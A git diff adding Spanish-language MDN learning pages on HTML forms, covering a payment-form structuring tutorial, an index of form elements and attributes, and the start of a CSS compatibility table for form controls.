+ <li>A continuación añadimos al formulario una sección de código más grande, justo debajo de nuestra entrada anterior. Aquí verás que delimitamos con un elemento {{htmlelement ("section")}} independiente los campos con la información de contacto. Además, hay un conjunto de dos botones de opción, cada uno de los cuales colocamos dentro de su elemento de lista ({{htmlelement ("li")}}) propio. También hay dos entradas de texto estándar {{htmlelement ("input")}} y sus elementos {{htmlelement ("label")}} asociados, cada uno anidado dentro de un elemento {{htmlelement ("p")}} y una entrada de texto para introducir una contraseña. Añade este código a tu formulario:
+  <pre class="brush: html notranslate">&lt;section&gt;
+    &lt;h2&gt;Información de contacto&lt;/h2&gt;
+    &lt;fieldset&gt;
+      &lt;legend&gt;Título&lt;/legend&gt;
+      &lt;ul&gt;
+          &lt;li&gt;
+            &lt;label for="title_1"&gt;
+              &lt;input type="radio" id="title_1" name="title" value="K" &gt;
+              Rey
+            &lt;/label&gt;
+          &lt;/li&gt;
+          &lt;li&gt;
+            &lt;label for="title_2"&gt;
+              &lt;input type="radio" id="title_2" name="title" value="Q"&gt;
+              Reina
+            &lt;/label&gt;
+          &lt;/li&gt;
+          &lt;li&gt;
+            &lt;label for="title_3"&gt;
+              &lt;input type="radio" id="title_3" name="title" value="J"&gt;
+              Bufón
+            &lt;/label&gt;
+          &lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/fieldset&gt;
+    &lt;p&gt;
+      &lt;label for="name"&gt;
+        &lt;span&gt;Nombre:&lt;/span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+      &lt;input type="text" id="name" name="username"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="mail"&gt;
+        &lt;Span&gt;Correo electrónico:&lt;/ span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+      &lt;input type="email" id="mail" name="usermail"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="pwd"&gt;
+        &lt;span&gt;Contraseña:&lt;/span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+      &lt;input type="password" id="pwd" name="password"&gt;
+    &lt;/p&gt;
+&lt;/section&gt;</pre>
+ </li>
+ <li>La segunda <code>&lt;section&gt;</code> de nuestro formulario es la información de pago. Hay tres controles diferentes, junto con sus etiquetas, cada uno contenido dentro de un elemento <code>&lt;p&gt;</code>. El primero es un menú desplegable ({{htmlelement ("select")}}) para seleccionar el tipo de tarjeta de crédito. El segundo es un elemento <code>&lt;input&gt;</code> de tipo <code>tel</code>, para introducir un número de tarjeta de crédito. Si bien podríamos haber usado el tipo <code>number</code>, no queremos una interfaz de usuario con control de número. El último es un elemento <code>&lt;input&gt;</code> de tipo <code>date</code>, para introducir la fecha de caducidad de la tarjeta; aparecerá como un control de selección de fecha en navegadores compatibles, y como una entrada de texto normal en navegadores no compatibles. Estos tipos de entrada más nuevos volverán a aparecer en el artículo <a href="/en-US/docs/Learn/Forms/HTML5_input_types">Tipos de entrada HTML5</a>.<br>
+  <br>
+  Introduce los datos siguientes a continuación de la sección anterior:
+  <pre class="brush: html notranslate">&lt;section&gt;
+    &lt;h2&gt;Información de pago&lt;/h2&gt;
+    &lt;p&gt;
+      &lt;label for="card"&gt;
+        &lt;span&gt;Tipo de tarjeta:&lt;/span&gt;
+      &lt;/label&gt;
+      &lt;select id="card" name="usercard"&gt;
+        &lt;option value="visa"&gt;Visa&lt;/option&gt;
+        &lt;option value="mc"&gt;Mastercard&lt;/option&gt;
+        &lt;option value="amex"&gt;American Express&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="number"&gt;
+        &lt;span&gt;Número de tarjeta:&lt;/span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+      &lt;input type="tel" id="number" name="cardnumber"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="date"&gt;
+        &lt;span&gt;Fecha de caducidad:&lt;/span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+        &lt;em&gt;el formato mm/aa&lt;/em&gt;
+      &lt;/label&gt;
+      &lt;input type="date" id="date" name="expiration"&gt;
+    &lt;/p&gt;
+&lt;/section&gt;</pre>
+ </li>
+ <li>La última sección que añadimos es mucho más simple y contiene solo un {{htmlelement ("button")}} de tipo <code>submit</code>, para enviar los datos del formulario. Añádelo al final de tu formulario:
+  <pre class="brush: html notranslate">&lt;p&gt; &lt;button type="submit"&gt;Validar el pago&lt;/button&gt; &lt;/p&gt;</pre>
+ </li>
+</ol>
+
+<p>Debajo puedes ver en acción el formulario terminado (también lo encontrarás en GitHub; consulta el <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.html">código fuente</a> de nuestro payment-form.html y <a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/payment-form.html">ejecútalo en vivo</a>):</p>
+
+<p>{{EmbedLiveSample("A_payment_form","100%",620, "", "/en-US/Learn/Forms/How_to_structure_a_web_form/Example")}}</p>
+
+<h2 id="¡Prueba_tus_habilidades!">¡Prueba tus habilidades!</h2>
+
+<p>Has llegado al final de este artículo pero ¿puedes recordar la información más importante? Puedes encontrar pruebas adicionales para comprobar que has comprendido la información antes de continuar — visita <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/Test_your_skills:_Form_structure" rel="noopener">Prueba tus habilidades: Estructura de formularios</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Ahora tienes todos los conocimientos necesarios para estructurar adecuadamente tus formularios web. Expondremos muchas de las características que se presentan aquí en los artículos siguientes, y el próximo artículo analizará con más detalle el uso de todos los diferentes tipos de controles de formulario que vas a querer usar para recopilar la información de tus usuarios.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="http://www.alistapart.com/articles/sensibleforms/" rel="external" title="http://www.alistapart.com/articles/sensibleforms/">A List Apart: <em>Sensible Forms: A Form Usability Checklist</em></a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Forms/Your_first_form", "Learn/Forms/Basic_native_form_controls", "Learn/Forms")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Tu primer formulario HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">Cómo estructurar un formulario HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">Los controles básicos de formulario originales</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/HTML5_input_types">Tipos de entrada HTML5</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Additional_form_controls">Controles de formulario adicionales</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/UI_pseudo-classes">Pseudoclasses UI</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Aplicar estilo a formularios HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Validación de datos en un formulario</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Enviar los datos de un formulario</a></li>
+</ul>
+
+<h3 id="Temas_avanzados">Temas avanzados</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Enviar formularios con JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">Cómo crear controles de formulario personalizados</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">Formularios HTML en navegadores antiguos</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Cuestiones avanzadas de aplicación de estilo para formularios HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Tabla de compatibilidad de los controles de formulario</a> según su código propietario</li>
+</ul>
diff --git a/files/es/learn/html/forms/index.html b/files/es/learn/html/forms/index.html
new file mode 100644
index 0000000000..c607c7993a
--- /dev/null
+++ b/files/es/learn/html/forms/index.html
@@ -0,0 +1,366 @@
+---
+title: Formularios HTML
+slug: Learn/HTML/Forms
+tags:
+  - Featured
+  - Forms
+  - Formulario(2)
+  - Guide
+  - Guía
+  - HTML
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Learn/Forms
+---
+<p><span class="seoSummary">Esta guía está constituida por una serie de artículos que te ayudarán a dominar los formularios en HTML.   </span>El formulario HTML  es una herramienta  cuya finalidad es interactuar con el usuario; sin embargo, debido a razones históricas y técnicas, no siempre resulta obvio como explotar su enorme potencial. En esta guía, cubriremos todos los aspectos de los formularios HTML, desde su estructura hasta su estilo, desde la manipulación de sus datos hasta los <em>widgets</em> personalizados. ¡Aprenderás a disfrutar de las grandes prestaciones que nos brindan!</p>
+
+<h2 id="Artículos">Artículos</h2>
+
+<ol>
+ <li><a href="/en-US/docs/HTML/Forms/My_first_HTML_form" title="/en-US/docs/HTML/Forms/My_first_HTML_form">Mi primer formulario HTML</a></li>
+ <li><a href="/en-US/docs/HTML/Forms/How_to_structure_an_HTML_form" title="/en-US/docs/HTML/Forms/How_to_structure_an_HTML_form"><span>Cómo estructurar un formulario HTML</span></a></li>
+ <li><a href="/en-US/docs/HTML/Forms/The_native_form_widgets" title="/en-US/docs/HTML/Forms/The_native_form_widgets"><span>Los <em>widgets</em> nativos de formulario</span></a></li>
+ <li>CSS para formularios HTML
+  <ol>
+   <li><a href="/en-US/docs/HTML/Forms/Styling_HTML_forms" title="/en-US/docs/HTML/Forms/Styling_HTML_forms"><span>Aplicando estilos a formularios HTML</span></a></li>
+   <li><a href="/en-US/docs/Web/Guide/HTML/Forms/Advanced_styling_for_HTML_forms" title="/en-US/docs/Advanced_styling_for_HTML_forms">Estilos avanzados para formularios HTML</a></li>
+   <li><a href="/en-US/docs/Property_compatibility_table_for_form_widgets" title="/en-US/docs/Property_compatibility_table_for_form_widgets">Tabla de compatibilidad de propiedades para <em>widgets</em> de formulario</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data" title="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data"><span>Enviando y recibiendo datos</span></a></li>
+ <li><a href="/en-US/docs/HTML/Forms/Data_form_validation" title="/en-US/docs/HTML/Forms/Data_form_validation">Validación de los datos del formulario</a></li>
+ <li><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">Cómo crear un <em>widget</em> de formulario personalizado</a></li>
+ <li><a href="/en-US/docs/HTML/Forms/Sending_forms_through_JavaScript" title="/en-US/docs/HTML/Forms/Sending_forms_through_JavaScript">Enviando formularios mediante JavaScript</a>
+  <ol>
+   <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects">Usando el objeto FormData</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/HTML/Forms/HTML_forms_in_legacy_browsers" title="/en-US/docs/HTML/Forms/HTML_forms_in_legacy_browsers">Formularios HTML en navegadores antiguos</a></li>
+</ol>
+
+<h2 id="Documentación_HTML">Documentación HTML</h2>
+
+<h3 id="HTML_Elements">HTML Elements</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Interfaz DOM relacionada</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("button")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLButtonElement")}}</td>
+   <td style="vertical-align: top;">El elemento  <code>button</code> representa un boton clickeable.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("datalist")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLDataListElement")}}</td>
+   <td style="vertical-align: top;">El elemento <span style="font-family: courier new;">datalist</span> element contiene un conjunto de elementos{{ HTMLElement("option") }} que representan posibles opciones para el valor de otros elementos del formulario.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("fieldset")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLFieldSetElement")}}</td>
+   <td style="vertical-align: top;">El  <span style="font-family: courier new;">fieldset</span> se usa para agrupar distintos elementos dentro de un formulario.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("form")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLFormElement")}}</td>
+   <td style="vertical-align: top;">El elemento  <code>form </code>representa una seccion del documento html que contiene elementos interactivos a traves de los cuales se le permite al usuario enviar informacion hacia un servidor web.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("input")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLInputElement")}}</td>
+   <td style="vertical-align: top;">El elemento   <code>input</code> es usado para crear controles interactivos para los formularios.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("keygen")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLKeygenElement")}}</td>
+   <td style="vertical-align: top;">El elemento <code>keygen</code> existe para facilitar la generación de llaves u el envío de las llaves publicas como parte de un formulario HTML.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("label")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLLabelElement")}}</td>
+   <td style="vertical-align: top;">El  <code>label</code> determina un título para un item de la interfaz del usuario.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("legend")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLLegendElement")}}</td>
+   <td style="vertical-align: top;">El elemento <code>legend</code>  representa una etiqueta para el contenido del elemento {{ HTMLElement("fieldset") }} que lo contiene.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("meter")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLMeterElement")}}</td>
+   <td style="vertical-align: top;">EL elemento <code>meter</code>  representa un valor escalar dentro de un rango conocido, o un valor fraccional.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("optgroup")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLOptGroupElement")}}</td>
+   <td style="vertical-align: top;">
+    <p>El elemento <code>optgroup</code> crea un grupo de opciones dentro de un elemento {{ HTMLElement("select") }} .</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("option")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLOptionElement")}}</td>
+   <td style="vertical-align: top;">El elemento<em> </em><code>option<em> </em></code>es usado para crear un control de opcion que representa un item dentro de alguno de los elementos {{ HTMLElement("select") }}, {{ HTMLElement("optgroup") }} o {{ HTMLElement("datalist") }} .</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("output")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLOutputElement")}}</td>
+   <td style="vertical-align: top;">El elemento <code>output</code> representa un resultado de un calculo.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("progress")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLProgressElement")}}</td>
+   <td style="vertical-align: top;">El elemento <code>progress</code> es usado para mostrar el progreso de la realización de una tarea.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("select")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLSelectElement")}}</td>
+   <td style="vertical-align: top;">El elemento <code>select</code> representa el control que presenta un menu de opciones.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("textarea")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLTextAreaElement")}}</td>
+   <td style="vertical-align: top;">EL elemento <code>textarea</code> representa un campo multi-linea de edicion de text plano.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota:</strong> Todos los elementos de formulario, al igual que el resto de elementos HTML, soportan la interfaz DOM {{domxref("HTMLElement")}}.</p>
+</div>
+
+<h3 id="HTML_Attributes">HTML Attributes</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nombre del atributo</th>
+   <th>Elementos</th>
+   <th>Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>accept</td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>Lista de tipos que acepta el servidor, típicamente un tipo de fichero.</td>
+  </tr>
+  <tr>
+   <td style="white-space: nowrap;">accept-charset</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Lista de <em>charsets </em>(conjuntos de caracteres) aceptados.</td>
+  </tr>
+  <tr>
+   <td>action</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>La URI del programa con el que procesar la información enviada a mediante el formulario.</td>
+  </tr>
+  <tr>
+   <td>autocomplete</td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>Indica si los controles en este formulario serán o no autocompletados por el navegador</td>
+  </tr>
+  <tr>
+   <td>autofocus</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>El elemento debería poseer el foco automáticamente tras cargar  la página.</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td>challenge</td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>Una cadena de comprobación que es enviada junto con la clave pública.</td>
+  </tr>
+  <tr>
+   <td>checked</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Indica si el elemento debe estar seleccionado (checked) tras cargar la página.</td>
+  </tr>
+  <tr>
+   <td>cols</td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Define el número de columnas en un elemento de tipo textarea.</td>
+  </tr>
+  <tr>
+   <td>data</td>
+   <td>{{ HTMLElement("object") }}</td>
+   <td>Especifica la URL del recurso.</td>
+  </tr>
+  <tr>
+   <td>dirname</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>disabled</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indica si el usuario puede o no interactuar con el elemento.</td>
+  </tr>
+  <tr>
+   <td>enctype</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Define el tipo de contenido del formulario cuando el método de envío es POST.</td>
+  </tr>
+  <tr>
+   <td>for</td>
+   <td>{{ HTMLElement("label") }}, {{ HTMLElement("output") }}</td>
+   <td>
+    <p>Establece una asociación con otros elementos</p>
+   </td>
+  </tr>
+  <tr>
+   <td>form</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indica el elemento <strong>form</strong> que contiene este elemento.</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td>high</td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indicates the lower bound of the upper range.</td>
+  </tr>
+  <tr>
+   <td>keytype</td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>Especifica el tipo de clave generada.</td>
+  </tr>
+  <tr>
+   <td>list</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Determina una lista de opciones predefinidas para sugerir al usuario.</td>
+  </tr>
+  <tr>
+   <td>low</td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indicates the upper bound of the lower range.</td>
+  </tr>
+  <tr>
+   <td>max</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+   <td>Indica el máximo valor permitido.</td>
+  </tr>
+  <tr>
+   <td>maxlength</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Define el máximo número de caracteres permitidos en el elemento.</td>
+  </tr>
+  <tr>
+   <td>method</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>
+    <p>Define qué método HTTP se usará al enviar el formulario. puede ser <strong>GET</strong> (por defecto) o <strong>POST</strong></p>
+   </td>
+  </tr>
+  <tr>
+   <td>min</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}</td>
+   <td>Indica el mínimo valor permitido.</td>
+  </tr>
+  <tr>
+   <td>multiple</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Indica si mútiples valores pueden ser introducidos en un input de tipo email o file.</td>
+  </tr>
+  <tr>
+   <td>name</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Especifica el nombre del elemento. Este nombre se usará asociado al dato que contiene al enviar al servidor el formulario.</td>
+  </tr>
+  <tr>
+   <td>novalidate</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Indica que el formulario no debería validarse al momento de ser enviado.</td>
+  </tr>
+  <tr>
+   <td>optimum</td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indica el valor numérico óptimo.</td>
+  </tr>
+  <tr>
+   <td>pattern</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Establece la expresión regular con la que validar el valor del elemento.</td>
+  </tr>
+  <tr>
+   <td>placeholder</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Proporciona una pista al usuario de lo que el campo debe contener. Se muestra cuando el campo está vacío.</td>
+  </tr>
+  <tr>
+   <td>readonly</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indica si el elemento se puede o no editar.</td>
+  </tr>
+  <tr>
+   <td>required</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Cuando un campo del formulario es requerido, el usuario no puede dejarlo vacío.</td>
+  </tr>
+  <tr>
+   <td>rows</td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Defines the number of rows in a textarea.</td>
+  </tr>
+  <tr>
+   <td>selected</td>
+   <td>{{ HTMLElement("option") }}</td>
+   <td>En una lista de selección, la opción con el atributo selected será la que está seleccionada por defecto</td>
+  </tr>
+  <tr>
+   <td>size</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Defina la anchura del elemento (en píxeles). Si el elemento es de tipo <strong>text</strong> o <strong>password</strong> el ancho se referirá al número de caracteres.</td>
+  </tr>
+  <tr>
+   <td>src</td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td>El URL del recurso</td>
+  </tr>
+  <tr>
+   <td>step</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Determina el incremento de cada paso con el que se cubre un rango desde un valor mínimo hasta un valor máximo.</td>
+  </tr>
+  <tr>
+   <td>target</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
+   <td>Determina el tipo del elemento.</td>
+  </tr>
+  <tr>
+   <td>usemap</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>value</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+   <td>Establece el valor actual del elemento.</td>
+  </tr>
+  <tr>
+   <td>wrap</td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Cuando un texto tiene una longitud mayor que el ancho del elemento sobre el que se muestra, determina si el elemento debe simular saltos de línea para que todo el texto quede visible en el elemento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Referencia_a_la_normativa">Referencia a la normativa</h3>
+
+<ul>
+ <li><a href="http://www.w3.org/html/wg/drafts/html/master/forms.html#forms" lang="en" rel="external" title="http://www.w3.org/TR/html5/forms.html">W3C HTML 5.1 Specification (Forms)</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#forms" rel="external" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#forms">WHATWG HTML Living Standard (Forms)</a></li>
+</ul>
diff --git a/files/es/learn/html/forms/property_compatibility_table_for_form_controls/index.html b/files/es/learn/html/forms/property_compatibility_table_for_form_controls/index.html
new file mode 100644
index 0000000000..115b5580fe
--- /dev/null
+++ b/files/es/learn/html/forms/property_compatibility_table_for_form_controls/index.html
@@ -0,0 +1,2003 @@
+---
+title: Tabla de compatibilidad de propiedades CSS para controles de formulario
+slug: Learn/HTML/Forms/Property_compatibility_table_for_form_controls
+translation_of: Learn/Forms/Property_compatibility_table_for_form_controls
+---
+<div>{{learnsidebar}}</div>
+
+<p class="summary">Las siguientes tablas de compatibilidad intentan resumir el estado del soporte de CSS para formularios HTML. Debido a la complejidad de los formularios CSS y HTML, estas tablas no se pueden considerar una referencia perfecta. Sin embargo, le darán una buena idea de lo que se puede y no se puede hacer, lo que le ayudará al aprender a hacer las cosas.</p>
+
+<h2 id="Cómo_leer_las_tablas">Cómo leer las tablas</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Para cada propiedad, hay cuatro valores posibles:</p>
+
+<dl>
+ <dt>Si</dt>
+ <dd>Existe un soporte razonablemente consistente para la propiedad en todos los navegadores. Es posible que aún enfrente efectos secundarios extraños en ciertos casos extremos.</dd>
+ <dt>Parcial</dt>
+ <dd>Si bien la propiedad funciona, con frecuencia puede enfrentar efectos secundarios extraños o inconsistencias. Probablemente debería evitar estas propiedades a menos que primero domine esos efectos secundarios.</dd>
+ <dt>No</dt>
+ <dd>La propiedad simplemente no funciona o es tan inconsistente que no es confiable.</dd>
+ <dt>n.a.</dt>
+ <dd>La propiedad no tiene ningún significado para este tipo de widget.</dd>
+</dl>
+
+<h3 id="Representación">Representación</h3>
+
+<p>Para cada propiedad hay dos representaciones posibles:</p>
+
+<dl>
+ <dt>N (Normal)</dt>
+ <dd>Indica que la propiedad se aplica tal cual</dd>
+ <dt>T (Retocada)</dt>
+ <dd>Indica que la propiedad se aplica con la regla adicional como se muestra a continuación:</dd>
+</dl>
+
+<pre class="brush: css notranslate">* {
+  /* Turn off the native look and feel */
+  -webkit-appearance: none;
+  appearance: none;
+
+/* for Internet Explorer */
+  background: none;
+}</pre>
+
+<h2 id="Tablas_de_compatibilidad">Tablas de compatibilidad</h2>
+
+<h3 id="Comportamientos_globales">Comportamientos globales</h3>
+
+<p>Algunos comportamientos son comunes a muchos navegadores a nivel global::</p>
+
+<dl>
+ <dt>{{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}}</dt>
+ <dd>El uso de una de estas propiedades puede desactivar parcial o totalmente la apariencia nativa de los widgets en algunos navegadores. Tenga cuidado cuando los use.</dd>
+ <dt>{{cssxref("line-height")}}</dt>
+ <dd>Esta propiedad se admite de forma inconsistente en todos los navegadores y debe evitarla.</dd>
+ <dt>{{cssxref("text-decoration")}}</dt>
+ <dd>Esta propiedad no es compatible con el navegador Opera en widgets de formulario.</dd>
+ <dt>{{cssxref("text-overflow")}}</dt>
+ <dd>Opera, Safari, y IE9 no admiten esta propiedad en widgets de formulario.</dd>
+ <dt>{{cssxref("text-shadow")}}</dt>
+ <dd>Opera no admite {{cssxref("text-shadow")}} en widgets de formularios e IE9 no lo admite en absoluto.</dd>
+</dl>
+
+<h3 id="Text_fields">Text fields</h3>
+
+<p>See the <code>{{htmlelement("input/text", "text")}}</code>, <code>{{htmlelement("input/search", "search")}}</code>, and <code>{{htmlelement("input/password", "password")}}</code> input types.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
